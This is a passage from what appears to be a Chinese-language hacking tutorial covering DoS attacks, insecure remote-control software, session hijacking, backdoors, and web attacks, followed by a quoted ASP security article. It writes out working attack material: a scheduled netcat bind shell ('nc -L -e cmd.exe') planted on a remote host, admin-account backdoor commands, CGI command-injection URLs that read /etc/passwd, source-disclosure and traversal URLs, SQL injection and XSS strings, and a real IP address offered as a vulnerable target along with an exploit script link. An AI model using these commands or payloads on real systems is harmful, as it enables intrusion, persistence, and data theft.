? smurf：smurf攻击因其放大效果而? 成为最令人害怕的DoS攻击之一。这种放大效果是往一个网络上的多个系统发送定向广播的PING请求，? 这些系统接着对这种请求作出响应的结果。定向广播的PING请求既可能发送给网络地址，? 也可以发送给网络广播地址。
Smurf攻击利用了定向广播，需要至少3个角色：攻击者、放大网络和受害者。攻击者向放大网络的广播地址发送源地址为造成受害系统的ICMP回射请求分组，这样看来像是受害者系统发起了这些请求。放大效果开始表现，既然这些请求分组是发送给广播网络地址的，放大网络上的所有系统于是对受害者系统作出响应。如果攻击者给一个拥有100个会对广播PING请求作出相应的系统的放大网络发送了单个ICMP分组，那么从效果看他把DoS攻击放大了100倍。
? SYN淹没：在smurf攻击开始流行之前，? SYN淹没一直是最具有破坏力的DoS攻击。在上面章节中我们也曾提到TCP连接的过程，? 现在我们再讲一讲：
TCP连接是一个三路握手过程：通常情况下，SYN分组从客户机A上某个确定的端口发出，到达服务器B上某个处于监听状态的端口。此时，服务器B上这个潜在连接处于SYN_RECV状态。服务器B接着尝试往客户机A发回一个SYN/ACK分组。如果一切都没有问题，客户机A就会再发出一个ACK分组，连接于是转移到ESTABLISHED（已建立）状态。
这种机制在大多数情况下工作很好，然而却存在攻击者可用来创建DoS条件的某些内在不足。问题在于大多数系统会在设置一个潜在连接即尚未完全建立的连接时分配一定数量的资源。发动SYN攻击时，攻击者会发送一个从系统A到系统B的SYN分组，不过其源地址却被欺一个不存在的系统。系统B于是试图发送一个SYN/ACK分组到这个欺骗性地址。要是这个被冒充的地址存在，那么他会给系统B响应一个RST分组，因为它并没有发起这个连接。然而攻击者选择冒充的却是一个不存在的系统，这么一来，系统B发出SYN/ACK分组后却再也收不到相应的RST分组和ACK分组。这个现在处于SYN_RECV状态的潜在连接被系统B置于一个连接队列中。系统B现在承担着把这个潜在连接设置完毕的义务，直到连接建立定时器发生超时时而把潜在在该连接冲刷出连接队列为止。连接定时器的设置各个系统不一样，如果稍长，比如2分钟，而攻击者不断发出SYN淹没，本来还没有冲刷出连接队列的队列中又将有更多的连接请求，造成整个系统资源衰竭。
? DNS攻击：在早于4.9.5+P1的BIND版本在使能DNS递归的前提下会告诉缓存虚假的DNS信息。递归功能允许名? 字服? 务器处理不? 是自己所服? 务区域的解析请求。当某个名? 字服? 务器接受到一个不? 是自己所服? 务区域的查询请求时，? 它将把该请求间接创送给所请求区域的权威性名? 字服? 务器。从这个权威性服? 务器接收到相应后，? 最初的名? 字服? 务器把该相应发回给请求方。
然而不幸的是，如果在脆弱的BIND版本上使能了递归功能，难么攻击者可能毒害执行递归查询的名字服务器的高速缓存。这称为PTR记录欺诈的攻击手段，它发掘的是从IP地址映射到主机名过程的漏洞。尽管依赖于主机名查找的信任关系中的漏洞发掘存在严厉的安全应对措施，执行DNS攻击的可能性已然存在。举例来说，攻击者可以尝试劝服目标服务器高速缓存把www.abccompany.com映射成0.0.0.10（一个不存在的IP地址）的信息。当这个脆弱的名字服务器的客户请求解析www.abccompany.com并进行访问该站时，他们将永远接受不到来自0.0.0.10的回答，于是有效的达到了拒绝www.abccompany.com所提供的服务。
第十章：远程控制的不安全性
全球互联的经济负担使的对它的全局管理成为必要。假设系统管理员总不在现场，随时准备走到行为有误的计算机旁排除问题。其补救措施就是使用远程控制软件，诸如pcAnywhere、ControlIT、ReachOut和Timbuktu之类的远程控制软件对于管理员来说是天赐的宝物，因为他们可以帮助管理员虚拟的跳到某个用户的主机上排出问题或辅助完成某个任务。然而很糟糕的是，这些软件都可能被误配或充满了安全脆弱点，这就允许攻击者获取目标系统的访问权，下载敏感的信息，甚至使用一台计算机攻击整个公司，使的整个过程看起来像是某个雇员在攻击自己的机构。
1、 发现远程控制软件：一般远程控制软件都跟一些防火墙一样在一些默认的端口进行监听，2、 这样无疑给攻击者暴露了远程控制软件类型的危险。攻击者就可以针对远程控制软件的缺陷或者可能出现的错误配置而3、 达到控制系统的目的，4、 下面我们首先列出常见的远程控制软件的一些默认端口：
表：通过扫描指定端口提示的远程控制软件产品
软件 TCP端口 UDP端口 允许其他端口
Citrix ICA 1494 1494 不清楚
PcAnywhere 22、5631、5632、65301 22、5632 是
ReachOut 43188 无 否
Remotely Anywhere 2000、2001 无 是
Remotely Possible/ControlIT 799、800 800 是
Timbuktu 407 407 否
VNC 5800、5801… 无 是
上表中，对于允许修改端口的软件，必须要被管理的主机和管理的主机同时都更改了端口，才可以使用新的端口。为了发现一个利用远程控制端口控制的主机，我们就可以利用netcat对一段IP地址范围扫描一些常见的端口号。
nc -v -n -z -w 2 192.168.10.251 407 799 1494 2000 5631 5800 43188
一谈及扫描我们就会想到黑客工具箱中的必备工具，Linux下的nmap，它也可以实现同样的功能：
nmap -sS -p 407 799 1494 2000 5631 5800 43188 -n 192.168.10.0/24
5、 脆弱点：
? 明文保存的用户名? 和密码：Remotely Possible 4.0在存放用户名? 和密码上没有任何保密性可言，? 他们被存放在 \Program Files\Avalan\Remotely Possible\Main.sab文件中，? 以明文形式保存用户的用户名? 与密码。
? 经过模糊处理的密码：ControlIT 4.5版本已经修复? 了Remotely Possible 4.0以明文形式存放的用户名? 和密码的漏洞，? 然而? 取而? 代之的是，? 他们仅仅实现了一个简单的替换算法来加密密码。举例来说，? 密码“abcdabcd”的加密结果是“p|xdp|xd”。一旦知道这个弱点后，? 攻击者同? 样可以映射整个字母表，? 从而? 迅速的映射出任意的密码。
? 提示出来的密码：很多远程管理软件在用户输入密码的时候并没有打补丁，? 这样就可以通过一个GUI的软件Revelation解密。使用这个软件时，? 可以把它拖到密码栏，? 就能很轻松的提示星号后的密码。
? 上传配置文件：攻击者一旦通过某种方法获得了一个NT系统的管理权限，? 他们就可以通过上传自己的配置文件（例如.CIF或MAIN.SAB文件），? 从而? 自动获取该系统的访问权。PcAnywhere和Remotely possible4.0都容易受到这种攻击，? 攻击者通过执行以下步骤完成：
（1） 在自己的pcAnywhere或Remotely possible4.0拷贝上中创建一个连续配置文件。
（2） 确定目标（3） 系统上该文件的存放位置，（4） 然后把本地上的配置文件拷贝到目标（5） 系统上的\DATA\或\AVALAN\REMOTE POSSIBLE\目录中。
（6） 使用pcAnywhere或Remotely possible4.0连接目标（7） 系统，（8） 再使用自己的用户名（9） 和密码取得完全访问权限。
第十一章：高级技巧
这一章我们分为三大板块：会话劫持、后门和特洛伊木马，下面我们逐步来讨论各个方法的使用：
1、 会话劫持：把TCP劫持从理论付诸实施的是一个叫做Juggernaut的软件，2、 这个自由软件产品是开创性的，3、 因为它能窥探TCP连接时并临时劫持它。这就使的攻击者能够向该连接的真正用户那样提交命令。举例来说，4、 如果攻击者使用的网络设备5、 处于与网络运行中心之间的某个共享网络媒体上，6、 那么他们就能窥探这个链路上所发生的所有连接，7、 并盗用其中的telnet会话或Cisco路由器上的enable密码。
Juggernaut
+------------------------------+
?) Help
0) Program information
1) Connection database
2) Spy on a connection
3) Reset a connection
4) Automated connection reset daemon
5) Simplex connection hijack
6) Interactive connection hijack
7) Packet assembly module
8) Souper sekret option number eight
9) Step Down
Juggernaut的最佳特性之一是Simplex connection hijack（单工连接劫持），他允许攻击者往本地系统提交命令。Interactive connection hijack（交互连接劫持）特性总是难以使用，因为交互连接往往会因ACK风暴而崩溃。
8、 后门：入侵者一旦获得了最高权限，9、 就会在系统上留下后门，10、 供下次进入主机时候用，11、 一般创建后门有以下一些方法：
? 用户帐号：在Windows NT/2000上创建一个帐号使用net user username password /add命令，? 把帐号添加入管理员组用net localgroup administrators username /add。不? 过这样可以很方便的在NT/2000的计算机用户管理中看见，? 这种方法只适合于没有一点安全意识的管理员。在UNIX下，? 常用的方法是创建一个貌似无辜但UID或GID却设为0的用户帐号。还应该检查所属用户组与root用户的GID相同? 的帐号，? 首先在/etc/passwd文件中查看，? 接着在/etc/group文件中查看。
? 启动文件：在NT/2000上这个启动方面已经有很多说明了，? 我把这篇文档的原始材料放在附录里，? 有兴趣可以看看。我们要讨论的还有UNIX，? UNIX平台攻击者频繁运用rc.d目录下的文件来安装后门。确保检查每一个rc文件，? 找出其中不? 熟悉的或新添加的程序。Inetd.conf文件也可能用于设置陷阱。Inetd.conf是UNIX上互联网超级服? 务程序inetd的配置文件，? inetd根据客户请求动态运行各种网络服? 务器程序，? 例如FTP、telnet、finger等等的服? 务器。Inetd.conf文件中也可能找到有嫌疑的守护程序。
? 受调度的作业：说起这个，? 绝大部分攻击者绝对不? 会陌生，? 一般攻击者开始在主机上都没有执行的权限，? 所以很多攻击者都用一些很普通的权限上传文件，? 然后通过NT/2000的Schedule服? 务处理程序。现在还是举一个很常用的例子说明这一点：
C:\>net use \\192.168.202.44\ipc$ “password” /user:”username”
C:\>copy c:\hacker\nc.exe \\192.168.202.44\admin$
C:\>at \\192.168.202.44 12:00 A /every:1 “” nc -d -L -p 8080 -e cmd.exe “”
该命令每天中午12点在8080端口上启动一个新的监听器，这样一来攻击者就可以使用netcat简单的连接到该监听中的端口取得一个命令shell。当然这里可以用于各批处理检查是否存在一个netcat监听，如果没有就可以用它启动。
12、 特洛伊木马：由于这种方法在上面攻击Windows 95/98都讲解的比较详细了，13、 有关方法请查阅以上的相关章节。
第十二章：攻击WEB
1、 WEB盗窃：其实这种方法很少有人使用，2、 不3、 过这种方法也能得到很多有用信息。编程人员为了以后修改网页代码方便，4、 一般都会加入一些注解。这其中可能有用户名5、 、密码、电子邮件信息、最后更新日期、数据库等有用的数据。因此查看web的源代码就能找到一些有用或无关的信息，6、 不7、 过这个过程是很方便的，8、 对于真正有针对性的攻击来说是特别重要的。
9、 找出众所周知的脆弱点：不10、 知道大家还记得否？最近的万11、 花谷、玫瑰骑士等网站浏览后……不12、 说了吧，13、 一段伤心的经历。他们主要是利用了Javascripts或一些ActiveX控件，14、 利用IE或者Netscape的一些没有对脚本充分验证的分上达到破坏用户主机的目的。我们将在附录中附带《网络休闲庄》对这方面的讲解代码。
15、 输入验证攻击：这将是一个很大的部分，16、 输入验证攻击利用了具备17、 有WEB开发人员或厂家的一些失误造成的公共网关接口（Common Gateway Interface，18、 简称CGI）程序、主动服19、 务器页面（Active Server Page，20、 简称ASP）和冷熔标21、 记语言（Cold Fusion Markup Language，22、 简称CFML）程序发动攻击。其基本问题出自这些程序在验证提供给指23、 定脚本的输入上的有效性上存在不24、 足。没有输入验证和净化的话，25、 攻击者有可能作为一个参数提交一个特殊字符合一个本地命令，26、 让web服27、 务器在本地执行命令。
不知道大家是否还记得，Unicode漏洞自从被发掘出来，已经让攻击者或轻或重的让成千上万的主机遭到了很大的损失，这就是一个典型利用输入验证重CGI脆弱点的典型例子。由于这方面的文章比较多，这里就不用详细讲解了，附录中讲附带网上关于这方面的讲解。
另外，已经有很多的CGI漏洞都被纳入了一篇IIS攻击大全的一篇综合性文章中了。比这将在附录中附出来，供读者参考。下面我们针对上面还没有谈及到的一些问题进行一定的分析。
电话薄脚本（PHF）的漏洞，这个漏洞在第六章已经有了一定的讲解了，就是通过一个不合理的请求产生的漏洞：
http:// www.target.com/cgi-bin/phf? Qalias=x%0a/bin/cat%20/etc/passwd
由于时间和篇幅的关系，详细说明参见第六章攻击UNIX系统的相关说明。
我们接下来讨论一下IrixCGI问题，IrixCGI处理程序的脆弱点可让攻击者把所提供的命令传递给脚本，从而在服务器本地执行他们。以下URL可用于查看密码文件（前提是WEB服务器用户拥有足够的权限）：
http://www.company.com/cgi-bin/handler/something;cat<tab>/etc/passwd |? data=Download<tab>HTTP/1.0
注意：<tab>表示一个真实制表符。
接下来讨论test-cgi漏洞，这个最初有L0pht的一个国外的黑客小组发现的脆弱点允许攻击者远程清点受影响WEB服务器上的文件。举例来说，攻击者可以使用以下URL列出cgi-bin目录下的所有文件和目录：
http://www.company.com/cgi-bin/test-cgi?*
将导出结果显示QUERY_STRING环境变量的值：
QUERY_STRING=count.cgi createuser.pl nph-test-cgi phf php.cgi search.pl test-cgi wwwcount.cgi
再接下来就是讨论ASP的脆弱点了，虽然这有存在在浏览器中显示ASP源代码的严重漏洞，不过现在在绝大部分的主机系统已经不存在这个漏洞的威胁了。
下面摘录天极网关于ASP安全性的讲解文章《ASP网络安全讲述》：
ASP网络安全讲述
2000-05-29· 小 鸟·CPCW
最近发现有些站点疯狂转载本站以前的文章，连出处也不注明，确实过分了点，为了作者和我们网站的权益，请您收敛些！--wuhanman
一 前言
Microsoft Active Server Pages（ASP）是服务器端脚本编写环境，使用它可以创建和运行动态、交互的 Web服务器应用程序。使用 ASP 可以组合 HTML 页 、脚本命令和 ActiveX 组件以创建交互的 Web 页和基于 Web的功能强大的应用程序。
现在很多网站特别是电子商务方面的网站，在前台上大都用ASP来实现。以至于现在ASP在网站应用上很普遍。
ASP是开发网站应用的快速工具，但是有些网站管理员只看到ASP的快速开发能力，却忽视了ASP安全问题。ASP从一开始就一直受到众多漏洞，后门的困扰，包括%81的噩梦，密码验证问题，IIS漏洞等等都一直使ASP网站开发人员心惊胆跳。
本文试图从开放了ASP服务的操作系统漏洞和ASP程序本身漏洞，阐述ASP安全问题，并给出解决方法或者建议。
二 关键字
ASP，网络安全，IIS，SSL，加密。
三 ASP工作机理
Active Server Page技术为应用开发商提供了基于脚本的直观、快速、高效的应用开发手段，极大地提高了开发的效果。在讨论ASP的安全性问题之前，让我们来看看ASP是怎么工作的。ASP脚本是采用明文（plaintext）方式来编写的。
ASP脚本是一系列按特定语法（目前支持vbscript和jscript两种脚本语言）编写的，与标准HTML页面混合在一起的脚本所构成的文本格式的文件。当客户端的最终用户用WEB浏览器通过INTERNET来访问基于ASP脚本的应用时，WEB浏览器将向WEB服务器发出HTTP请求。WEB服务器分析、判断出该请求是ASP脚本的应用后，自动通过ISAPI接口调用ASP脚本的解释运行引擎（ASP.DLL）。ASP.DLL将从文件系统或内部缓冲区获取指定的ASP脚本文件，接着就进行语法分析并解释执行。最终的处理结果将形成HTML格式的内容，通过WEB服务器"原路"返回给WEB浏览器，由WEB浏览器在客户端形成最终的结果呈现。这样就完成了一次完整的ASP脚本调用。若干个有机的ASP脚本调用就组成了一个完整的ASP脚本应用。
让我们来看看运行ASP所需的环境：
Microsoft Internet Information Server 3.0/4.0/5.0 on NT Server
Microsoft Internet Information Server 3.0/4.0/5.0 on Win2000
Microsoft Person Web Server on Windows 95/98
WINDOWS NT Option Pack所带的Microsoft
IIS提供了强大的功能，但是IIS在网络安全方面却是比较危险的。因为很少有人会用Windows 95/98当服务器，因此本文我更多的从NT中的IIS安全问题来探讨。
四 微软自称的ASP的安全优点
虽然我们本文的重点是探讨ASP漏洞和后门，但是有必要谈谈ASP在网络安全方面的"优点"，之所以加个""，是因为有时这些微软宣称的"优点"恰恰是其安全隐犯。
微软称ASP在网络安全方面一大优点就是用户不能看到ASP的源程序，从ASP的原理上看，ASP在服务端执行并解释成标准的HTML语句，再传送给客户端浏览器。"屏蔽"源程序能很好的维护ASP开发人员的版权，试想你辛辛苦苦做了一个很优秀的程序，给人任意COPY，你会怎么想？而且黑客还能分析你的ASP程序，挑出漏洞。更重要的是有些ASP开发者喜欢把密码，有特权的用户名和路径直接写在程序中，这样别人通过猜密码，猜路径，很容易找到攻击系统的"入口"。但是目前已经发现了很多能查看ASP源程序的漏洞，后面我们还要讨论。
IIS支持虚拟目录，通过在"服务器属性"对话框中的"目录"标签可以管理虚拟目录。建立虚拟目录对于管理WEB站点具有非常重要的意义。虚拟目录隐藏了有关站点目录结构的重要信息。因为在浏览器中，客户通过选择"查看源代码"，很容易就能获取页面的文件路径信息，如果在WEB页中使用物理路径，将暴露有关站点目录的重要信息，这容易导致系统受到攻击。其次，只要两台机器具有相同的虚拟目录，你就可以在不对页面代码做任何改动的情况下，将WEB页面从一台机器上移到另一台机器。还有就是，当你将WEB页面放置于虚拟目录下后，你可以对目录设置不同的属性，如：Read、Excute、Script。读访问表示将目录内容从IIS传递到浏览器。而执行访问则可以使在该目录内执行可执行的文件。当你需要使用ASP时，就必须将你存放.asp文件的目录设置为"Excute（执行）"。建议大家在设置WEB站点时，将HTML文件同ASP文件分开放置在不同的目录下，然后将HTML子目录设置为"读"，将ASP子目录设置为"执行"，这不仅方便了对WEB的管理，而且最重要的提高了ASP程序的安全性，防止了程序内容被客户所访问。
五 ASP漏洞分析和解决方法
有人说一台不和外面联系的电脑是最安全的电脑，一个关闭所有端口，不提供任何服务的电脑也是最安全的。黑客经常利用我们所开放的端口实施攻击，这些攻击最常见的是DDOS（拒绝服务攻击）.下面我会列出ASP的二十几个漏洞，每个漏洞都会有漏洞描述和解决方法。
1 在ASP程序后加个特殊符号，能看到ASP源程序
  受影响的版本：
    win95+pws
    IIS3.0
    98+pws4 不存在这个漏洞。
    IIS4.0以上的版本也不存在这个漏洞。
    问题描述：
    这些特殊符号包括小数点，%81, ::$DATA。比如：
http://someurl/somepage.asp.
http:// someurl/somepage.asp%81
http:// someurl/somepage.asp::$DATA
http:// someurl/somepage.asp %2e
http:// someurl/somepage %2e%41sp
http:// someurl/somepage%2e%asp
http:// someurl/somepage.asp %2e
http://someurl/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../../../../../boot.ini（可以看到boot.ini的文件内容）
那么在安装有IIS3.0和win95+PWS的浏览中就很容易看到somepage.asp的源程序。究竟是什么原因造成了这种可怕的漏洞呢？究其根源其实是Windows NT 特有的文件系统在做怪。有一点常识的人都知道在 NT 提供了一种完全不同于 FAT的文件系统：NTFS，这种被称之为新技术文件系统的技术使得 NT具有了较高的安全机制，但也正是因为它而产生了不少令人头痛的隐患。大家可能不知道， NTFS 支持包含在一个文件中的多数据流，而这个包含了所有内容的主数据流被称之为"DATA"，因此使得在浏览器 里直接访问 NTFS系统的这个特性而轻易的捕获在文件中的脚本程序成为了可能。然而 直接导致 ::$DATA 的原因是由于 IIS在解析文件名的时候出了问题，它没有很好地规范文件名。
解决方法和建议：
如果是Winodws NT用户，安装IIS4.0或者IIS5.0，Windows2000不存在这个问题。如果是win95用户，安装WIN98和PWS4.0。
2 ACCESS mdb 数据库有可能被下载的漏洞
问题描述：在用ACCESS做后台数据库时，如果有人通过各种方法知道或者猜到了服务器的ACCESS数据库的路径和数据库名称，那么他能够下载这个ACCESS数据库文件，这是非常危险的。比如：如果你把ACCESS数据库book.mdb放在虚拟目录下的database目录下，那么有人在浏览器中打入：
http:// someurl/database/book.mdb
如果你的book.mdb数据库没有事先加密的话，那book.mdb中所有重要的数据都掌握在别人的手中。
解决方法：
(1) 为你的数据库文件名称起个复杂的非常规的名字，并把他放在几目录下。所谓"非常规"，打个比方：比如有个数据库要保存的是有关书籍的信息，可不要把他起个"book.mdb"的名字，起个怪怪的名称，比如d34ksfslf.mdb，再把他放在如./kdslf/i44/studi/的几层目录下，这样黑客要想通过猜的方式得到你的ACCESS数据库文件就难上加难了。
(2)不要把数据库名写在程序中。有些人喜欢把DSN写在程序中，比如：
DBPath = Server.MapPath("cmddb.mdb")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
假如万一给人拿到了源程序，你的ACCESS数据库的名字就一览无余。因此建议你在ODBC里设置数据源，再在程序中这样写：
conn.open "shujiyuan"
(3)使用ACCESS来为数据库文件编码及加密。首先在选取"工具->安全->加密/解密数据库，选取数据库（如：employer.mdb），然后接确定，接着会出现"数据库加密后另存为"的窗口，存为：employer1.mdb。接着employer.mdb就会被编码，然后存为employer1.mdb..
要注意的是，以上的动作并不是对数据库设置密码，而只是对数据库文件加以编码，目的是为了防止他人使用别的工具来查看数据库文件的内容。接下来我们为数据库加密，首先以打开经过编码了的employer1.mdb，在打开时，选择"独占"方式。然后选取功能表的"工具->安全->设置数据库密码"，接着输入密码即可。
为employer1.mdb设置密码之后，接下来如果再使用ACCEES数据库文件时，则ACCESS会先要求输入密码，验证正确后才能够启动数据库。
不过要在ASP程序中的connection对象的open方法中增加PWD的参数即可，例如：
param="driver={Microsoft Access Driver (*.mdb)};Pwd=yfdsfs"
param=param&";dbq="&server.mappath("employer1.mdb")
conn.open param
这样即使他人得到了employer1.mdb文件，没有密码他是无法看到employer1.mdb的。
3 code.asp文件会泄漏ASP代码
问题描述：
举个很简单的例子，在微软提供的 ASP1.0 的例程里有一个 .asp 文件，专门用来查看其它 .asp 文件的源代码，该文件为ASPSamp/Samples/code.asp。如果有人把这个程序上传到服务器，而服务器端没有任何防范措施的话，他就可以很容易地查看他人的程序。例如：code.asp?source=/directory/file.asp
不过这是个比较旧的漏洞了，相信现在很少会出现这种漏洞。
下面这命令是比较新的：
http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp
最大的危害莫过于asa文件可以被上述方式读出；数据库密码以明文形式暴露在黑客眼前;
问题解决或建议：
对于IIS自带的show asp code的asp程序文件，删除该文件或者禁止访问该目录即可
4、filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞
问题描述：
IIS3、 IIS4 的 ASP 的文件操作都可以通过 filesystemobject实现，包括文本文件的读写目录操作、文件的拷贝改名删除等，但是这个强大的功能也留下了非常危险的 "后门"。利用filesystemobjet 可以篡改下载 fat 分区上的任何文件。即使是 ntfs分区，如果权限没有设定好的话，同样也能破坏，一不小心你就可能遭受"灭顶之灾 "。遗憾的是很多 webmaster 只知道让 web服务器运行起来，很少对 ntfs 进行权限 设置，而 NT 目录权限的默认设置偏偏安全性又低得可怕。因此，如果你是Webmaster，建议你密切关注服务器的设置，尽量将 web 目录建在 ntfs 分区上，目录不要设定 everyone full control，即使是是管理员组的成员一般也没什么必要 full control，只要有读取、更改权限就足够了。也可以把filesystemobject的组件删除或者改名。
5、输入标准的HTML语句或者javascript语句会改变输出结果
问题描述：
在输入框中打入标准的HTML语句会得到什么相的结果呢？
比如一个留言本，我们留言内容中打入：
<font size=10>你好！</font>
  如果你的ASP程序中没有屏蔽html语句，那么就会改变"你好"字体的大小。在留言本中改变字体大小和贴图有时并不是什么坏事，反而可以使留言本生动。但是如果?入框中写个 javascript 的死循环，比如：<a herf="http://someurl" onMouseover="while(1){window.close(/)}">特大新闻</a>
那么其他查看该留言的客人只要移动鼠标到"特大新闻"，上就会使用户的浏览器因死循环而死掉。
解决方法和建议：
编写类似程序时应该做好对此类操作的防范，譬如可以写一段程序判断客户端的输入，并屏蔽掉所有的 HTML、 Javascript 语句。
6、ASP程序密码验证漏洞
漏洞描述：
很多网站把密码放到数据库中，在登陆验证中用以下sql,(以asp为例）
sql="select * from user where username="&username&"and pass="& pass &"
此时，您只要根据sql构造一个特殊的用户名和密码，如：ben or 1=1就可以进入本来你没有特权的页面。再来看看上面那个语句吧：
sql="select * from user where username="&username&"and pass="&pass&"
此时，您只要根据sql构造一个特殊的用户名和密码，如：ben or 1=1这样,程序将会变成这样: sql="select*from username where username="&benor1=1&"and pass="&pass&" or是一个逻辑运算符,作用是在判断两个条件的时候,只要其中一个条件成立,那么等式将会成立.而在语言中,是以1来代表真的(成立).那么在这行语句中,原语句的"and"验证将不再继续,而因为"1=1"和"or"令语句返回为真值.。
另外我们也可以构造以下的用户名：
username=aa or username<>aa
pass=aa or pass<>aa
相应的在浏览器端的用户名框内写入：aa or username<>aa 口令框内写入：aa or pass<>aa,注意这两个字符串两头是没有的。这样就可以成功的骗过系统而进入。
后一种方法理论虽然如此，但要实践是非常困难的，下面两个条件都必须具备。
1.你首先要能够准确的知道系统在表中是用哪两个字段存储用户名和口令的，只有这样你才能准确的构造出这个进攻性的字符串。实际上这是很难猜中的。
2.系统对你输入的字符串不进行有效性检查。
问题解决和建议：
对输入的内容验证和""号的处理。
7、IIS4或者IIS5中安装有INDEX SERVER服务会漏洞ASP源程序
问题描述：
在运行IIS4或者IIS5的Index Server，输入特殊的字符格式可以看到ASP源程序或者其它页面的程序。甚至以及添打了最近关于参看源代码的补丁程序的系统，或者没有.htw文件的系统，一样存在该问题。获得asp程序，甚至global.asa文件的源代码，无疑对系统是一个非常重大的安全隐患。往往这些代码中包含了用户密码和ID，以及数据库的源路径和名称等等。这对于攻击者收集系统信息，进行下一步的入侵都是非常重?
通过构建下面的特殊程序可以参看该程序源代码：
http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full
这样只是返回一些html格式的文件代码，但是当你添加%20到CiWebHitsFile的参数后面，如下:
http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full这将获得该程序的源代码。（注意：/default.asp是以web的根开始计算。如某站点的http:///welcome/welcome.asp
那么对应就是：
http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full)
由于null.htw文件并非真正的系统映射文件，所以只是一个储存在系统内存中的虚拟文件。哪怕你已经从你的系统中删除了所有的真实的.htw文件，但是由于对null.htw文件的请求默认是由webhits.dll来处理。所以，IIS仍然收到该漏洞的威胁。
问题解决或者建议：
如果该webhits提供的功能是系统必须的，请下载相应的补丁程序。如果没必要，请用IIS的MMC管理工具简单移除.htw的映象文件。
补丁程序如下：
Index Server 2.0:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Indexing Services for Windows 2000:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
8、ASP聊天室程序的漏洞
问题描述：
如果聊天室ASP程序设计不当，很容易会给他人利用来做坏事:可以踢人，穿墙，捣乱.
首先，我们看看聊天室里有什么漏洞，大家看看下面这段代码：
<html>
<head>
<body BGCOLOR="008888" TEXT="FFFFFF">
…………………………
………………
………
<form NAME="sendmsg" ACTION="chatt.asp" METHOD="POST"
target="mtalk1"
OnSubmit="return chksend();">
<input type="hidden" name="username" value="测试者">******
<input type="hidden" name="sex" value="boy">********
<input type="hidden" name="message" value="">
<input type="hidden" name="a_method" value="sendtalk">
<div align="center"><center>
<table CELLSPACING="0" CELLPADDING="0"> <tr>
<td>发言: <input type="text" name="msg" size="60"> </td>
<td><input type="submit" value="发 言"> </td>
</tr>
<tr>
<td>悄悄:<input type=checkbox name=mtalk value=1>
对象:<input type="text" name="betalk" size="10">
表情:<select NAME="exp" onChange="document.sendmsg.msg.focus();document.sendmsg.msg.select();" size="1">
………
……………
……………………
</form>
<form name="getout" ACTION="chatt.pl" METHOD="POST">
<input type="hidden" name="username" value="测试者">!!!!!!
<input type="hidden" name="a_method" value="getout">!!!!
<input type="submit" value="退 出"></td>
</form>
</body>
</html>
  以上这段代码是我在某个聊天室用"测试者"作代号登陆后在发言帧当下来的， 这只是一小部份，? 这一小部份代码里面就有两个漏洞。
第一个漏洞：大家看看上面的代码加上"*"号的那两句，其中第一句中的"测试者"就是我登陆的名字，还有，第二句中的"boy"是登陆时的性别，还有再看看下面我加上"!"号的两句，第一句里还是有我登陆时的名字，这几句都是我现在想说的两个漏洞所在点。如果想在这个聊天室里穿墙的话，只要把发言帧的代码当下来另存，把"form"的"action"改成聊天室的地址，然后把再"*"号的第一句的"测试者"两字改成想要的名字就可以了。也可以变换性别，只要把第二句的 "boy"改成"girl"。这就是所谓的穿墙术了。你甚至可以把它改成在线人的名字，然后发言，这样就冒充别人的姓名谈话。
第二个漏洞：踢人的漏洞就是这个了，我们看一下带"!"号的第一句，上面有是合法用户登陆的名字，再看第二句，他有"getout"，再加上上面还有一段"form"标签，这段就是我们退出聊天室时的代码，这个有什么用呢？我们先试试看，首先还是把"form"标签的"action"改成 聊天室的地址，不然就不知道提交给哪个家伙了。然后把"风风"改成你想踢下去的人的名字然后单击"退出"，那就把那个人踢出聊天室了。这个就是聊天室踢人的漏洞。
这两个漏洞主要的原因是这两个漏洞使服务程序不识别客户发出的指令是不是合法用户。以上两漏骗服务程序来更名发出发言，或更名退出，使得真正的使用者受害。
当然上面的程序中还有一个漏洞，输入框没有对HTML语句和JAVASCRIPT语句做过滤。这个问题我们在漏洞5中已有详细分析，这里就不谈了。
问题解决或者建议：
在程序设计中让服务程序能识别到底是哪个家伙发出的指令就可以了，具体做法可以为每个聊天者发一个识别码，象五笔字一样，也可以用每个聊天者的密码识别，也可以把聊天者的密码随机加密后用作识别等等，反正能使你的服务程序识别到底是谁发出的指令就可以了。
9、NT iss4.0_AuthChangeUrl? 漏洞
问题描述：在NT iis4.0，当输入如下命令时
http://someurl/_AuthChangeUrl?<font%20size=7%20color=red>你好 你看到发生了什么吗？<font size=7 color=red>被解释成功，出现了红色的放大的"你好"字
我们再来看看以下的命令： http://someurl/_AuthChangeUrl?<img%20src=file:\\\c:\1.jpg>
上面的命令将显示c:根目录下的1.jpg图片，如果1.jpg存在的话。http://someurl/_AuthChangeUrl?<a%20href=file:///c:/install.exe>上面的命令将下载C:根目录下的install.exe文件。
按照这种方法还能打开对方服务器上一个已经知道的文本文件。
10、微软开发的两个动态库存在后门允许用户查看ASP文件源程序和下载整个网站
问题描述：随IIS和Frontpage Extention server而来的动态库程序，存在后门，允许用户远程读取asp、asa和CGI程序的源代码。但这个动态库要求有密码，这个后门的密码是： "Netscape engineers are weenies!"程序路径为： /_vti_bin/_vti_aut/dvwssr.dll一般安装了 Frontpage98的 IIS服务器都有这个路径和文件。这个程序要求解码后才能发挥读取asp等源程序，有趣的是，这个密码正是嘲弄其竞争对手Netscape的。
现提供一个有该漏洞的国外网站给安全技术人员参考：
http://62.236.90.195
关于读取源程序，请下载这个测试程序，用法为: [john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp
测试程序： http://www.cnns.net/exploits/nt/dvwssr1.pl
11、漏洞名称：IIS4.0受HTTP的D.O.S攻击漏洞
问题描述：
    受影响的版本：IIS 4.0以及更早的版本
    这是一个很简单的方法.发送很多的"Host:aaaaa...aa"到IIS：
GET / HTTP/1.1
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
...10,000 lines
